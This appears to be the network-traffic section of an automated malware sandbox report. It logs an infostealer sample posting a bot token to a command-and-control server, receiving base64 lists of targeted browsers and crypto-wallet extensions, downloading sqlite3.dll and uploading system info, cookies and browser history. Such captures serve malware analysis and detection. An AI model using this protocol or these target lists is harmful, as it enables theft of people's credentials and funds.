YjE3Zjg3NWZlMjcyNjMzZDVmNDBlMjA4ZjI3NjIyMGNlZjY5YmYwYjBlOWQyNWMwYTg4N2I4MTliYWYyNDcxM2M0NDdlODcxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 31, 2024 07:14:05.076299906 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEHIIJJECFHJKECFHDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 2d 2d 0d 0a Data Ascii: ------JKEHIIJJECFHJKECFHDGContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------JKEHIIJJECFHJKECFHDGContent-Disposition: form-data; name="message"browsers------JKEHIIJJECFHJKECFHDG--
Oct 31, 2024 07:14:05.355537891 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 31, 2024 07:14:05.355555058 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 31, 2024 07:14:05.356908083 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="message"plugins------JEGDGIIJJECFIDHJJKKF--
Oct 31, 2024 07:14:05.635335922 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 31, 2024 07:14:05.635356903 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 31, 2024 07:14:05.635368109 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 31, 2024 07:14:05.635377884 CET	336	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 31, 2024 07:14:05.635387897 CET	1236	IN	Data Raw: 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d Data Ascii: ZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB
Oct 31, 2024 07:14:05.635425091 CET	1236	IN	Data Raw: 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 Data Ascii: MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHx
Oct 31, 2024 07:14:05.635436058 CET	828	IN	Data Raw: 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d Data Ascii: YW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3w
Oct 31, 2024 07:14:05.662082911 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="message"fplugins------HDBKJEGIEBFHCAAKKEBA--
Oct 31, 2024 07:14:06.128104925 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 31, 2024 07:14:06.145855904 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHC Host: 185.215.113.206 Content-Length: 6939 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 07:14:06.145905018 CET	6939	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 Data Ascii: ------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 31, 2024 07:14:06.941895962 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 07:14:07.188201904 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 07:14:07.464231014 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 31, 2024 07:14:07.464242935 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Oct 31, 2024 07:14:07.464375019 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49758	185.215.113.206	80	7472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 07:14:20.683233976 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFB Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 07:14:20.683259964 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 Data Ascii: ------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 31, 2024 07:14:22.121134996 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 07:14:22.221882105 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDH Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 07:14:22.221882105 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 Data Ascii: ------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 31, 2024 07:14:23.008873940 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 07:14:23.026560068 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJKKKJJJKJKFHJJJJEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 